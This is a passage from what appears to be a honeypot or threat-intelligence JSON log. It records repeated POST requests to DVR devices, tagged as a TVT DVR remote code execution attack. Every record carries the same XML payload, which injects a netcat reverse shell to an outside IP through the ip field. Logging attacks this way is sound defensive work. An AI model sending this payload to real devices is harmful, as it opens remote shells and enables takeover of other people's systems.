  7322.       "source_ip_address": "70.52.138.137",
  7323.       "country": "CA",
  7324.       "user_agent": "Help",
  7325.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  7326.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  7327.       "target_port": 8080,
  7328.       "protocol": "tcp",
  7329.       "tags": [
  7330.         {
  7331.           "cve": "",
  7332.           "category": "IoT",
  7333.           "description": "TVT (Generic OEM) DVR RCE"
  7334.         }
  7335.       ],
  7336.       "event_count": 1,
  7337.       "first_seen": "2019-12-20T19:48:51Z",
  7338.       "last_seen": "2019-12-20T19:48:51Z"
  7339.     },
  7340.     {
  7341.       "source_ip_address": "187.226.9.193",
  7342.       "country": "MX",
  7343.       "user_agent": "Help",
  7344.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  7345.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  7346.       "target_port": 8000,
  7347.       "protocol": "tcp",
  7348.       "tags": [
  7349.         {
  7350.           "cve": "",
  7351.           "category": "IoT",
  7352.           "description": "TVT (Generic OEM) DVR RCE"
  7353.         }
  7354.       ],
  7355.       "event_count": 3,
  7356.       "first_seen": "2019-12-20T19:19:25Z",
  7357.       "last_seen": "2019-12-20T19:19:25Z"
  7358.     },
  7359.     {
  7360.       "source_ip_address": "160.0.195.45",
  7361.       "country": "ZA",
  7362.       "user_agent": "Help",
  7363.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  7364.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  7365.       "target_port": 88,
  7366.       "protocol": "tcp",
  7367.       "tags": [
  7368.         {
  7369.           "cve": "",
  7370.           "category": "IoT",
  7371.           "description": "TVT (Generic OEM) DVR RCE"
  7372.         }
  7373.       ],
  7374.       "event_count": 1,
  7375.       "first_seen": "2019-12-20T19:18:00Z",
  7376.       "last_seen": "2019-12-20T19:18:00Z"
  7377.     },
  7378.     {
  7379.       "source_ip_address": "81.107.41.42",
  7380.       "country": "GB",
  7381.       "user_agent": "Help",
  7382.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  7383.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  7384.       "target_port": 88,
  7385.       "protocol": "tcp",
  7386.       "tags": [
  7387.         {
  7388.           "cve": "",
  7389.           "category": "IoT",
  7390.           "description": "TVT (Generic OEM) DVR RCE"
  7391.         }
  7392.       ],
  7393.       "event_count": 1,
  7394.       "first_seen": "2019-12-20T19:14:03Z",
  7395.       "last_seen": "2019-12-20T19:14:03Z"
  7396.     },
  7397.     {
  7398.       "source_ip_address": "219.85.140.219",
  7399.       "country": "TW",
  7400.       "user_agent": "Help",
  7401.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  7402.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  7403.       "target_port": 81,
  7404.       "protocol": "tcp",
  7405.       "tags": [
  7406.         {
  7407.           "cve": "",
  7408.           "category": "IoT",
  7409.           "description": "TVT (Generic OEM) DVR RCE"
  7410.         }
  7411.       ],
  7412.       "event_count": 1,
  7413.       "first_seen": "2019-12-20T19:10:08Z",
  7414.       "last_seen": "2019-12-20T19:10:08Z"
  7415.     },
  7416.     {
  7417.       "source_ip_address": "123.193.81.82",
  7418.       "country": "TW",
  7419.       "user_agent": "Help",
  7420.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  7421.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  7422.       "target_port": 8080,
  7423.       "protocol": "tcp",
  7424.       "tags": [
  7425.         {
  7426.           "cve": "",
  7427.           "category": "IoT",
  7428.           "description": "TVT (Generic OEM) DVR RCE"
  7429.         }
  7430.       ],
  7431.       "event_count": 1,
  7432.       "first_seen": "2019-12-20T18:59:32Z",
  7433.       "last_seen": "2019-12-20T18:59:32Z"
  7434.     },
  7435.     {
  7436.       "source_ip_address": "5.128.140.5",
  7437.       "country": "RU",
  7438.       "user_agent": "Help",
  7439.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  7440.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  7441.       "target_port": 81,
  7442.       "protocol": "tcp",
  7443.       "tags": [
  7444.         {
  7445.           "cve": "",
  7446.           "category": "IoT",
  7447.           "description": "TVT (Generic OEM) DVR RCE"
  7448.         }
  7449.       ],
  7450.       "event_count": 1,
  7451.       "first_seen": "2019-12-20T18:57:37Z",
  7452.       "last_seen": "2019-12-20T18:57:37Z"
  7453.     },
  7454.     {
  7455.       "source_ip_address": "12.49.248.66",
  7456.       "country": "US",
  7457.       "user_agent": "Help",
  7458.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  7459.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  7460.       "target_port": 80,
  7461.       "protocol": "tcp",
  7462.       "tags": [
  7463.         {
  7464.           "cve": "",
  7465.           "category": "IoT",
  7466.           "description": "TVT (Generic OEM) DVR RCE"
  7467.         }
  7468.       ],
  7469.       "event_count": 2,
  7470.       "first_seen": "2019-12-20T00:50:26Z",
  7471.       "last_seen": "2019-12-20T18:43:29Z"
  7472.     },
  7473.     {
  7474.       "source_ip_address": "200.46.69.202",
  7475.       "country": "PA",
  7476.       "user_agent": "Help",
  7477.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  7478.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  7479.       "target_port": 80,
  7480.       "protocol": "tcp",
  7481.       "tags": [
  7482.         {
  7483.           "cve": "",
  7484.           "category": "IoT",
  7485.           "description": "TVT (Generic OEM) DVR RCE"
  7486.         }
  7487.       ],
  7488.       "event_count": 3,
  7489.       "first_seen": "2019-12-20T18:43:01Z",
  7490.       "last_seen": "2019-12-20T18:43:01Z"
  7491.     },
  7492.     {
  7493.       "source_ip_address": "189.151.49.34",
  7494.       "country": "MX",
  7495.       "user_agent": "Help",
  7496.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  7497.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  7498.       "target_port": 8080,
  7499.       "protocol": "tcp",
  7500.       "tags": [
  7501.         {
  7502.           "cve": "",
  7503.           "category": "IoT",
  7504.           "description": "TVT (Generic OEM) DVR RCE"
  7505.         }
  7506.       ],
  7507.       "event_count": 2,
  7508.       "first_seen": "2019-12-20T18:38:39Z",
  7509.       "last_seen": "2019-12-20T18:38:39Z"
  7510.     },
  7511.     {
  7512.       "source_ip_address": "189.223.181.196",
  7513.       "country": "MX",
  7514.       "user_agent": "Help",
  7515.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  7516.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  7517.       "target_port": 8000,
  7518.       "protocol": "tcp",
  7519.       "tags": [
  7520.         {
  7521.           "cve": "",
  7522.           "category": "IoT",
  7523.           "description": "TVT (Generic OEM) DVR RCE"
  7524.         }
  7525.       ],
  7526.       "event_count": 1,
  7527.       "first_seen": "2019-12-20T18:34:59Z",
  7528.       "last_seen": "2019-12-20T18:34:59Z"
  7529.     },
  7530.     {
  7531.       "source_ip_address": "150.117.88.238",
  7532.       "country": "TW",
  7533.       "user_agent": "Help",
  7534.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  7535.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  7536.       "target_port": 8000,
  7537.       "protocol": "tcp",
  7538.       "tags": [
  7539.         {
  7540.           "cve": "",
  7541.           "category": "IoT",
  7542.           "description": "TVT (Generic OEM) DVR RCE"
  7543.         }
  7544.       ],
  7545.       "event_count": 1,
  7546.       "first_seen": "2019-12-20T18:29:14Z",
  7547.       "last_seen": "2019-12-20T18:29:14Z"
  7548.     },
  7549.     {
  7550.       "source_ip_address": "94.49.205.100",
  7551.       "country": "SA",
  7552.       "user_agent": "Help",
  7553.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  7554.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  7555.       "target_port": 81,
  7556.       "protocol": "tcp",
  7557.       "tags": [
  7558.         {
  7559.           "cve": "",
  7560.           "category": "IoT",
  7561.           "description": "TVT (Generic OEM) DVR RCE"
  7562.         }
  7563.       ],
  7564.       "event_count": 37,
  7565.       "first_seen": "2019-12-20T18:02:02Z",
  7566.       "last_seen": "2019-12-20T18:02:02Z"
  7567.     },
  7568.     {
  7569.       "source_ip_address": "115.90.93.252",
  7570.       "country": "KR",
  7571.       "user_agent": "Help",
  7572.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  7573.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  7574.       "target_port": 81,
  7575.       "protocol": "tcp",
  7576.       "tags": [
  7577.         {
  7578.           "cve": "",
  7579.           "category": "IoT",
  7580.           "description": "TVT (Generic OEM) DVR RCE"
  7581.         }
  7582.       ],
  7583.       "event_count": 3,
  7584.       "first_seen": "2019-12-20T17:50:18Z",
  7585.       "last_seen": "2019-12-20T17:50:18Z"
  7586.     },
  7587.     {
  7588.       "source_ip_address": "99.239.82.168",
  7589.       "country": "CA",
  7590.       "user_agent": "Help",
  7591.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  7592.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  7593.       "target_port": 8080,
  7594.       "protocol": "tcp",
  7595.       "tags": [
  7596.         {
  7597.           "cve": "",
  7598.           "category": "IoT",
  7599.           "description": "TVT (Generic OEM) DVR RCE"
  7600.         }
  7601.       ],
  7602.       "event_count": 1,
  7603.       "first_seen": "2019-12-20T17:49:17Z",
  7604.       "last_seen": "2019-12-20T17:49:17Z"
  7605.     },
  7606.     {
  7607.       "source_ip_address": "114.35.182.27",
  7608.       "country": "TW",
  7609.       "user_agent": "Help",
  7610.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  7611.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  7612.       "target_port": 8080,
  7613.       "protocol": "tcp",
  7614.       "tags": [
  7615.         {
  7616.           "cve": "",
  7617.           "category": "IoT",
  7618.           "description": "TVT (Generic OEM) DVR RCE"
  7619.         }
  7620.       ],
  7621.       "event_count": 4,
  7622.       "first_seen": "2019-12-20T17:19:43Z",
  7623.       "last_seen": "2019-12-20T17:19:43Z"
  7624.     },
  7625.     {
  7626.       "source_ip_address": "87.17.205.42",
  7627.       "country": "IT",
  7628.       "user_agent": "Help",
  7629.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  7630.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  7631.       "target_port": 8080,
  7632.       "protocol": "tcp",
  7633.       "tags": [
  7634.         {
  7635.           "cve": "",
  7636.           "category": "IoT",
  7637.           "description": "TVT (Generic OEM) DVR RCE"
  7638.         }
  7639.       ],
  7640.       "event_count": 1,
  7641.       "first_seen": "2019-12-20T17:14:36Z",
  7642.       "last_seen": "2019-12-20T17:14:36Z"
  7643.     },
  7644.     {
  7645.       "source_ip_address": "187.131.48.221",
  7646.       "country": "MX",
  7647.       "user_agent": "Help",
  7648.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  7649.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  7650.       "target_port": 81,
  7651.       "protocol": "tcp",
  7652.       "tags": [
  7653.         {
  7654.           "cve": "",
  7655.           "category": "IoT",
  7656.           "description": "TVT (Generic OEM) DVR RCE"
  7657.         }
  7658.       ],
  7659.       "event_count": 1,
  7660.       "first_seen": "2019-12-20T17:14:16Z",
  7661.       "last_seen": "2019-12-20T17:14:16Z"
  7662.     },
  7663.     {
  7664.       "source_ip_address": "147.158.109.38",
  7665.       "country": "MY",
  7666.       "user_agent": "Help",
  7667.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  7668.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  7669.       "target_port": 8080,
  7670.       "protocol": "tcp",
  7671.       "tags": [
  7672.         {
  7673.           "cve": "",
  7674.           "category": "IoT",
  7675.           "description": "TVT (Generic OEM) DVR RCE"
  7676.         }
  7677.       ],
  7678.       "event_count": 2,
  7679.       "first_seen": "2019-12-20T07:02:46Z",
  7680.       "last_seen": "2019-12-20T17:06:36Z"
  7681.     },
  7682.     {
  7683.       "source_ip_address": "95.78.114.244",
  7684.       "country": "RU",
  7685.       "user_agent": "Help",
  7686.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  7687.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  7688.       "target_port": 80,
  7689.       "protocol": "tcp",
  7690.       "tags": [
  7691.         {
  7692.           "cve": "",
  7693.           "category": "IoT",
  7694.           "description": "TVT (Generic OEM) DVR RCE"
  7695.         }
  7696.       ],
  7697.       "event_count": 3,
  7698.       "first_seen": "2019-12-20T16:38:23Z",
  7699.       "last_seen": "2019-12-20T16:38:23Z"
  7700.     },
  7701.     {
  7702.       "source_ip_address": "187.111.209.179",
  7703.       "country": "BR",
  7704.       "user_agent": "Help",
  7705.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  7706.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  7707.       "target_port": 88,
  7708.       "protocol": "tcp",
  7709.       "tags": [
  7710.         {
  7711.           "cve": "",
  7712.           "category": "IoT",
  7713.           "description": "TVT (Generic OEM) DVR RCE"
  7714.         }
  7715.       ],
  7716.       "event_count": 4,
  7717.       "first_seen": "2019-12-20T16:32:06Z",
  7718.       "last_seen": "2019-12-20T16:32:06Z"
  7719.     },
  7720.     {
  7721.       "source_ip_address": "187.148.64.191",
  7722.       "country": "MX",
  7723.       "user_agent": "Help",
  7724.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  7725.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  7726.       "target_port": 81,
  7727.       "protocol": "tcp",
  7728.       "tags": [
  7729.         {
  7730.           "cve": "",
  7731.           "category": "IoT",
  7732.           "description": "TVT (Generic OEM) DVR RCE"
  7733.         }
  7734.       ],
  7735.       "event_count": 2,
  7736.       "first_seen": "2019-12-20T16:16:11Z",
  7737.       "last_seen": "2019-12-20T16:16:11Z"
  7738.     },
  7739.     {
  7740.       "source_ip_address": "114.32.8.15",
  7741.       "country": "TW",
  7742.       "user_agent": "Help",
  7743.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  7744.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  7745.       "target_port": 8080,
  7746.       "protocol": "tcp",
  7747.       "tags": [
  7748.         {
  7749.           "cve": "",
  7750.           "category": "IoT",
  7751.           "description": "TVT (Generic OEM) DVR RCE"
  7752.         }
  7753.       ],
  7754.       "event_count": 3,
  7755.       "first_seen": "2019-12-20T15:39:43Z",
  7756.       "last_seen": "2019-12-20T15:39:43Z"
  7757.     },
  7758.     {
  7759.       "source_ip_address": "76.70.10.98",
  7760.       "country": "CA",
  7761.       "user_agent": "Help",
  7762.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  7763.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  7764.       "target_port": 80,
  7765.       "protocol": "tcp",
  7766.       "tags": [
  7767.         {
  7768.           "cve": "",
  7769.           "category": "IoT",
  7770.           "description": "TVT (Generic OEM) DVR RCE"
  7771.         }
  7772.       ],
  7773.       "event_count": 3,
  7774.       "first_seen": "2019-12-20T15:27:21Z",
  7775.       "last_seen": "2019-12-20T15:27:21Z"
  7776.     },
  7777.     {
